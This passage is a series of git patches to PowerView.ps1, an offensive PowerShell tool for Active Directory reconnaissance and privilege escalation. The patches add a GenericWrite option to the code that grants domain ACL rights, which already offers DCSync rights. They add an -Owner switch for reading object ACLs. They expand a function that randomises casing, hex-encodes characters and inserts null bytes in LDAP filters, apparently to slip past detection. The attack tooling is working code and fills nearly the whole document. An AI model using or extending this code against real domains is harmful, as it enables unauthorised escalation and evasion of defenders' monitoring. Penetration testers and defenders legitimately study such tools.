Get-NetForestCatalog Get-ForestGlobalCatalog +Set-Alias Get-NetUser Get-DomainUser +Set-Alias Get-UserEvent Get-DomainUserEvent +Set-Alias Get-NetComputer Get-DomainComputer +Set-Alias Get-ADObject Get-DomainObject +Set-Alias Set-ADObject Set-DomainObject +Set-Alias Get-ObjectAcl Get-DomainObjectAcl +Set-Alias Add-ObjectAcl Add-DomainObjectAcl +Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl +Set-Alias Get-GUIDMap Get-DomainGUIDMap +Set-Alias Get-NetOU Get-DomainOU +Set-Alias Get-NetSite Get-DomainSite +Set-Alias Get-NetSubnet Get-DomainSubnet +Set-Alias Get-NetGroup Get-DomainGroup +Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup +Set-Alias Get-NetGroupMember Get-DomainGroupMember +Set-Alias Get-NetFileServer Get-DomainFileServer +Set-Alias Get-DFSshare Get-DomainDFSShare +Set-Alias Get-NetGPO Get-DomainGPO +Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup +Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping +Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping +Set-Alias Get-LoggedOnLocal Get-RegLoggedOn +Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess +Set-Alias Get-SiteName Get-NetComputerSiteName +Set-Alias Get-Proxy Get-WMIRegProxy +Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn +Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection +Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive +Set-Alias Get-NetProcess Get-WMIProcess +Set-Alias Invoke-ThreadedFunction New-ThreadedFunction +Set-Alias Invoke-UserHunter Find-DomainUserLocation +Set-Alias Invoke-ProcessHunter Find-DomainProcess +Set-Alias Invoke-EventHunter Find-DomainUserEvent +Set-Alias Invoke-ShareFinder Find-DomainShare +Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile +Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember +Set-Alias Get-NetDomainTrust Get-DomainTrust +Set-Alias Get-NetForestTrust Get-ForestTrust +Set-Alias Find-ForeignUser Get-DomainForeignUser +Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember +Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping Set-Alias Get-DomainPolicy Get-DomainPolicyData From 26fa3b6e7cacadcc4a7845b5cd996e5ed73b9c61 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Sun, 23 Jan 2022 14:51:18 +0000 Subject: [PATCH 54/58] some minor changes --- Recon/PowerView.ps1 | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0dbb9979..12b70419 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3169,7 +3169,7 @@ A custom PSObject with LDAP hashtable properties translated. $Properties.keys | Sort-Object | ForEach-Object { if ($_ -ne 'adspath') { - if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory') -or ($_ -eq 'securityidentifier')) { # convert all listed sids (i.e. if multiple are listed in sidHistory) $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } } @@ -8700,7 +8700,6 @@ Custom PSObject with ACL entries. if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { $Object = @{} foreach ($a in $_.Attributes.Keys | Sort-Object) { - Write-Output "TEST: $a" if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor')) { $Object[$a] = $_.Attributes[$a] } @@ -9019,7 +9018,7 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, - [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended', 'GenericWrite')] [String] $Rights = 'All', @@ -9084,6 +9083,7 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} 'AllExtended' { 'ExtendedRight' } + 'GenericWrite' { 'GenericWrite' } } } @@ -9093,7 +9093,7 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) - if ($GUIDs -and !($GUIDs -eq 'ExtendedRight')) { + if ($GUIDs -and !($GUIDs -eq 'ExtendedRight') -and !($GUIDs -eq 'GenericWrite')) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' @@ -9104,6 +9104,10 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType } + elseif ($GUIDs -eq 'GenericWrite') { + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericWrite' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' From 93ffb6c2ed3c707732ccd6dc3b8becf08aa608c8 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Mon, 24 Jan 2022 00:44:08 +0000 Subject: [PATCH 55/58] added -Owner switch for Get-DomainObjectAcl --- Recon/PowerView.ps1 | 113 +++++++++++++++++++++++++------------------- 1 file changed, 64 insertions(+), 49 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 12b70419..6dc7f2d1 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8455,6 +8455,10 @@ Wildcards accepted. Switch. Return the SACL instead of the DACL for the object (default behavior). +.PARAMETER Owner + +Switch. Return the Owner instead of the DACL for the object (default behavior). + .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. @@ -8553,6 +8557,9 @@ Custom PSObject with ACL entries. [Switch] $Sacl, + [Switch] + $Owner, + [Switch] $ResolveGUIDs, @@ -8614,6 +8621,9 @@ Custom PSObject with ACL entries. if ($PSBoundParameters['Sacl']) { $SearcherArguments['SecurityMasks'] = 'Sacl' } + elseif ($PSBoundParameters['Owner']) { + $SearcherArguments['SecurityMasks'] = 'Owner' + } else { $SearcherArguments['SecurityMasks'] = 'Dacl' } @@ -8697,7 +8707,7 @@ Custom PSObject with ACL entries. } $Results = Invoke-LDAPQuery @SearcherArguments $Results | Where-Object {$_} | ForEach-Object { - if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + if (Get-Member -InputObject $_ -name "Attributes" -Membertype Properties) { $Object = @{} foreach ($a in $_.Attributes.Keys | Sort-Object) { if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor')) { @@ -8726,62 +8736,67 @@ Custom PSObject with ACL entries. try { $SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 - $SecurityDescriptor | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { - $Continue = $False - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] - $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid - $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) - if ($PSBoundParameters['RightsFilter']) { - $GuidFilter = Switch ($RightsFilter) { - 'ResetPassword' { @('00299570-246d-11d0-a768-00aa006e0529') } - 'WriteMembers' { @('bf9679c0-0de6-11d0-a285-00aa003049e2') } - 'DCSync' { @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', 'GenericAll', 'ExtendedRight') } - 'AllExtended' { 'ExtendedRight' } - 'ReadLAPS' { @('ExtendedRight', 'GenericAll', 'WriteDacl') } - 'All' { 'GenericAll' } - Default { '00000000-0000-0000-0000-000000000000' } - } - if ($_.AceQualifier -eq 'AccessAllowed' -and (($_.ObjectAceType -and $GuidFilter -contains $_.ObjectAceType) -or ($_.InheritedObjectAceType -and $GuidFilter -contains $_.InheritedObjectAceType))) { - $Continue = $True - } - elseif ($_.AceQualifier -eq 'AccessAllowed' -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType) -and (($_.ActiveDirectoryRights -match $GuidFilter) -or ($GuidFilter -contains $_.ActiveDirectoryRights))) { - $Continue = $True - } - elseif (($_.AceQualifier -eq 'AccessAllowed') -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType)) { - ForEach ($Guid in $GuidFilter) { - if ($_.ActiveDirectoryRights -match $Guid) { - $Continue = $True + if ($PSBoundParameters['Owner']) { + $SecurityDescriptor.Owner.Value + } + else { + $SecurityDescriptor | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + $Continue = $False + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + if ($PSBoundParameters['RightsFilter']) { + $GuidFilter = Switch ($RightsFilter) { + 'ResetPassword' { @('00299570-246d-11d0-a768-00aa006e0529') } + 'WriteMembers' { @('bf9679c0-0de6-11d0-a285-00aa003049e2') } + 'DCSync' { @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', 'GenericAll', 'ExtendedRight') } + 'AllExtended' { 'ExtendedRight' } + 'ReadLAPS' { @('ExtendedRight', 'GenericAll', 'WriteDacl') } + 'All' { 'GenericAll' } + Default { '00000000-0000-0000-0000-000000000000' } + } + if ($_.AceQualifier -eq 'AccessAllowed' -and (($_.ObjectAceType -and $GuidFilter -contains $_.ObjectAceType) -or ($_.InheritedObjectAceType -and $GuidFilter -contains $_.InheritedObjectAceType))) { + $Continue = $True + } + elseif ($_.AceQualifier -eq 'AccessAllowed' -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType) -and (($_.ActiveDirectoryRights -match $GuidFilter) -or ($GuidFilter -contains $_.ActiveDirectoryRights))) { + $Continue = $True + } + elseif (($_.AceQualifier -eq 'AccessAllowed') -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType)) { + ForEach ($Guid in $GuidFilter) { + if ($_.ActiveDirectoryRights -match $Guid) { + $Continue = $True + } } } } - } - else { - $Continue = $True - } - if ($Continue) { - if ($GUIDs) { - # if we're resolving GUIDs, map them them to the resolved hash table - $AclProperties = @{} - $_.psobject.properties | ForEach-Object { - if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { - try { - $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] + else { + $Continue = $True + } + if ($Continue) { + if ($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { + try { + $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } } - catch { + else { $AclProperties[$_.Name] = $_.Value } } - else { - $AclProperties[$_.Name] = $_.Value - } + $OutObject = New-Object -TypeName PSObject -Property $AclProperties + $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $OutObject + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $_ } - $OutObject = New-Object -TypeName PSObject -Property $AclProperties - $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') - $OutObject - } - else { - $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') - $_ } } } From aacb09d6abf7d2b40ad29707cfb1ec9d38382a88 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Wed, 26 Jan 2022 14:30:18 +0000 Subject: [PATCH 56/58] improved the obfuscation of filter strings, need to test more --- Recon/PowerView.ps1 | 123 +++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 115 insertions(+), 8 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 6dc7f2d1..c03c9060 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -23886,7 +23886,7 @@ function Get-ObfuscatedFilterString { <# .SYNOPSIS -Randomly obfuscate LDAP filter string with random hex characters. +Randomly obfuscate LDAP filter string with random hex characters, randomised casing and random null bytes. Author: Charlie Clark (@exploitph) License: BSD 3-Clause @@ -23894,7 +23894,7 @@ Required Dependencies: .DESCRIPTION -Randomly obfuscate LDAP filter string with random hex characters. +Randomly obfuscate LDAP filter string with random hex characters, randomised casing and random null bytes. .PARAMETER LDAPFilter @@ -23920,23 +23920,46 @@ String $LDAPFilter ) + $AvoidNulls = @("samaccounttype") + $Nops = @("\00") + foreach ($i in 128..255) {$Nops += '\{0:x}' -f $i} + Write-Verbose "[Get-ObfuscatedFilterString] Obfuscating filter string: $($LDAPFilter)" $Parts = $LDAPFilter -split '=' - $OutFilter = "$($Parts[0])=" + $OutFilter = "" + if ($Parts[0].IndexOf('(') -ne -1) { + $LastAttribute = $Parts[0].ToLower().Split('(')[-1] + } + else { + $LastAttribute = $Parts[0].ToLower() + } + $Include = Get-RandomizedCasing -InputString $Parts[0] + if ((Get-Random -Maximum 2) -and ($Include -notmatch ':')) { + $OutFilter += "$($Include)~=" + } + else { + $OutFilter += "$($Include)=" + } $Skip = $False - if ($Parts[0] -match 'userAccountControl') { + if ($Parts[0].ToLower() -match 'useraccountcontrol') { $Skip = $True } for ($i=1; $i -lt $Parts.Length; $i++) { if ($Skip) { - if ($Parts[$i] -notmatch 'userAccountControl') { + if ($Parts[$i].ToLower() -notmatch 'useraccountcontrol') { $Skip = $False } if ($i -eq $Parts.Length - 1) { $OutFilter += "$($Parts[$i])" } else { - $OutFilter += "$($Parts[$i])=" + $Include = Get-RandomizedCasing -InputString $Parts[$i] + if ((Get-Random -Maximum 2) -and ($Include -notmatch ':')) { + $OutFilter += "$($Include)~=" + } + else { + $OutFilter += "$($Include)=" + } } } @@ -23949,6 +23972,7 @@ String } if ($Value.Length -gt 1) { $OutValueHash = @{} + $Value = Get-RandomizedCasing -InputString $Value for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length) -Minimum 1); $c++) { $Index = Get-Random -Maximum $($Value.Length - 1) if (($OutValueHash.keys | Measure-Object).Count -ne 0) { @@ -23962,6 +23986,9 @@ String $OutValueHash[$Index] = '\{0:x}' -f [System.Convert]::ToUInt32($Value[$Index]) } for ($c=0; $c -lt $Value.Length; $c++) { + if ((Get-Random -Maximum 2) -and ($AvoidNulls -notcontains $LastAttribute)) { + $OutFilter += $Nops[(Get-Random -Maximum $Nops.Length)] + } if ($OutValueHash.keys -contains $c) { $OutFilter += "$($OutValueHash[$c])" } @@ -23969,6 +23996,9 @@ String $OutFilter += "$($Value[$c])" } } + if ((Get-Random -Maximum 2) -and ($AvoidNulls -notcontains $LastAttribute)) { + $OutFilter += $Nops[(Get-Random -Maximum $Nops.Length)] + } } else { $OutFilter += "$($Value)" @@ -23979,11 +24009,23 @@ String $OutFilter += "$($Next)" } else { - $OutFilter += "$($Next)=" + $Include = Get-RandomizedCasing -InputString $Next + if ((Get-Random -Maximum 2) -and ($Include -notmatch ':')) { + $OutFilter += "$($Include)~=" + } + else { + $OutFilter += "$($Include)=" + } } - if ($Next -match 'userAccountControl') { + if ($Next.ToLower() -match 'useraccountcontrol') { $Skip = $True } + if ($Next.IndexOf('(') -ne -1) { + $LastAttribute = $Next.ToLower().Split('(')[-1] + } + else { + $LastAttribute = $Next.ToLower() + } } else { if (Get-Random -Maximum 2) { @@ -24000,6 +24042,71 @@ String $OutFilter } +function Get-RandomizedCasing { +<# +.SYNOPSIS + +Randomize casing for provided string. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Randomize casing for provided string. + +.PARAMETER InputString + +Input string. + +.EXAMPLE + +Get-RandomizedCasing -InputString "testString" + +.INPUTS + +String + +.OUTPUTS + +String +#> + + [OutputType([PSObject])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $InputString + ) + + $NewValue = "" + foreach ($c in $InputString.ToCharArray()) { + if ($c -in 'abcdefghijklmnopqrstuvwxyz'.ToCharArray()) { + if (Get-Random -Maximum 2) { + $NewValue += $c.ToString().ToUpper() + } + else { + $NewValue += $c + } + } + elseif ($c -in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.ToCharArray()) { + if (Get-Random -Maximum 2) { + $NewValue += $c.ToString().ToLower() + } + else { + $NewValue += $c + } + } + else { + $NewValue += $c + } + } + $NewValue +} + function Convert-LogonHours { <# .SYNOPSIS From 7d85769597a1b9007240ae28672b8f0992ce49fd Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Wed, 26 Jan 2022 16:18:51 +0000 Subject: [PATCH 57/58] some minor fixes to the obfuscation code --- Recon/PowerView.ps1 | 41 ++++++++++++++++++++++------------------- 1 file changed, 22 insertions(+), 19 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c03c9060..1b88fd3c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -23920,7 +23920,8 @@ String $LDAPFilter ) - $AvoidNulls = @("samaccounttype") + $AvoidNops = @("samaccounttype", "pwdlastset") + $AvoidHex = @("useraccountcontrol") $Nops = @("\00") foreach ($i in 128..255) {$Nops += '\{0:x}' -f $i} @@ -23928,33 +23929,34 @@ String $Parts = $LDAPFilter -split '=' $OutFilter = "" if ($Parts[0].IndexOf('(') -ne -1) { - $LastAttribute = $Parts[0].ToLower().Split('(')[-1] + $LastAttribute = $Parts[0].ToLower().Split('(')[-1].Trim('<').Trim('>') } else { - $LastAttribute = $Parts[0].ToLower() + $LastAttribute = $Parts[0].ToLower().Trim('<').Trim('>') } $Include = Get-RandomizedCasing -InputString $Parts[0] - if ((Get-Random -Maximum 2) -and ($Include -notmatch ':')) { + if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<'))) { $OutFilter += "$($Include)~=" } else { $OutFilter += "$($Include)=" } $Skip = $False - if ($Parts[0].ToLower() -match 'useraccountcontrol') { - $Skip = $True - } + foreach ($Item in $AvoidHex) {if ($Parts[0].ToLower() -match $Item) {$Skip = $True}} for ($i=1; $i -lt $Parts.Length; $i++) { if ($Skip) { - if ($Parts[$i].ToLower() -notmatch 'useraccountcontrol') { - $Skip = $False - } if ($i -eq $Parts.Length - 1) { $OutFilter += "$($Parts[$i])" } else { + $Check = 0 + $LastAttribute = $Parts[$i].SubString($Parts[$i].IndexOf('(') + 1).Trim('<').Trim('>').ToLower() + foreach ($Item in $AvoidHex) {if ($LastAttribute -notmatch $Item) {$Check += 1}} + if ($Check -eq $AvoidHex.Count) { + $Skip = $False + } $Include = Get-RandomizedCasing -InputString $Parts[$i] - if ((Get-Random -Maximum 2) -and ($Include -notmatch ':')) { + if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<'))) { $OutFilter += "$($Include)~=" } else { @@ -23986,7 +23988,7 @@ String $OutValueHash[$Index] = '\{0:x}' -f [System.Convert]::ToUInt32($Value[$Index]) } for ($c=0; $c -lt $Value.Length; $c++) { - if ((Get-Random -Maximum 2) -and ($AvoidNulls -notcontains $LastAttribute)) { + if ((Get-Random -Maximum 2) -and ($AvoidNops -notcontains $LastAttribute)) { $OutFilter += $Nops[(Get-Random -Maximum $Nops.Length)] } if ($OutValueHash.keys -contains $c) { @@ -23996,11 +23998,14 @@ String $OutFilter += "$($Value[$c])" } } - if ((Get-Random -Maximum 2) -and ($AvoidNulls -notcontains $LastAttribute)) { + if ((Get-Random -Maximum 2) -and ($AvoidNops -notcontains $LastAttribute)) { $OutFilter += $Nops[(Get-Random -Maximum $Nops.Length)] } } else { + if (($Value -eq '*') -and ($OutFilter.substring($OutFilter.Length - 2, 1) -eq '~')) { + $OutFilter = $OutFilter.substring(0, $OutFilter.Length - 2) + '=' + } $OutFilter += "$($Value)" } if ($Parts[$i].IndexOf(')') -ne -1) { @@ -24010,21 +24015,19 @@ String } else { $Include = Get-RandomizedCasing -InputString $Next - if ((Get-Random -Maximum 2) -and ($Include -notmatch ':')) { + if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<'))) { $OutFilter += "$($Include)~=" } else { $OutFilter += "$($Include)=" } } - if ($Next.ToLower() -match 'useraccountcontrol') { - $Skip = $True - } + foreach ($Item in $AvoidHex) {if ($Next.ToLower() -match $Item) {$Skip = $True}} if ($Next.IndexOf('(') -ne -1) { - $LastAttribute = $Next.ToLower().Split('(')[-1] + $LastAttribute = $Next.ToLower().Split('(')[-1].Trim('<').Trim('>') } else { - $LastAttribute = $Next.ToLower() + $LastAttribute = $Next.ToLower().Trim('<').Trim('>') } } else { From 72a88240ed0c6527f3880a1fb15ea7a19589c2d8 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Wed, 26 Jan 2022 21:53:24 +0000 Subject: [PATCH 58/58] some minor fixes to the obfuscation code --- Recon/PowerView.ps1 | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 1b88fd3c..24df571c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -23920,8 +23920,16 @@ String $LDAPFilter ) - $AvoidNops = @("samaccounttype", "pwdlastset") - $AvoidHex = @("useraccountcontrol") + $AvoidNops = @( + "samaccounttype", + "pwdlastset", + "objectclass", + "objectcategory", + "serviceprincipalname" + ) + $AvoidHex = @( + "useraccountcontrol" + ) $Nops = @("\00") foreach ($i in 128..255) {$Nops += '\{0:x}' -f $i} @@ -23935,7 +23943,7 @@ String $LastAttribute = $Parts[0].ToLower().Trim('<').Trim('>') } $Include = Get-RandomizedCasing -InputString $Parts[0] - if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<'))) { + if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<') -and ($Include -notmatch '>'))) { $OutFilter += "$($Include)~=" } else { @@ -23956,7 +23964,7 @@ String $Skip = $False } $Include = Get-RandomizedCasing -InputString $Parts[$i] - if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<'))) { + if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<') -and ($Include -notmatch '>'))) { $OutFilter += "$($Include)~=" } else { @@ -23973,6 +23981,9 @@ String $Value = $Parts[$i] } if ($Value.Length -gt 1) { + if (($Value -match '\*') -and ($OutFilter.substring($OutFilter.Length - 2, 1) -eq '~')) { + $OutFilter = $OutFilter.substring(0, $OutFilter.Length - 2) + '=' + } $OutValueHash = @{} $Value = Get-RandomizedCasing -InputString $Value for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length) -Minimum 1); $c++) { @@ -23985,7 +23996,9 @@ String } While ($OutValueHash.keys -contains $Index) } } - $OutValueHash[$Index] = '\{0:x}' -f [System.Convert]::ToUInt32($Value[$Index]) + if ($Value[$Index] -ne '*') { + $OutValueHash[$Index] = '\{0:x}' -f [System.Convert]::ToUInt32($Value[$Index]) + } } for ($c=0; $c -lt $Value.Length; $c++) { if ((Get-Random -Maximum 2) -and ($AvoidNops -notcontains $LastAttribute)) { @@ -24015,7 +24028,7 @@ String } else { $Include = Get-RandomizedCasing -InputString $Next - if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<'))) { + if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<') -and ($Include -notmatch '>'))) { $OutFilter += "$($Include)~=" } else {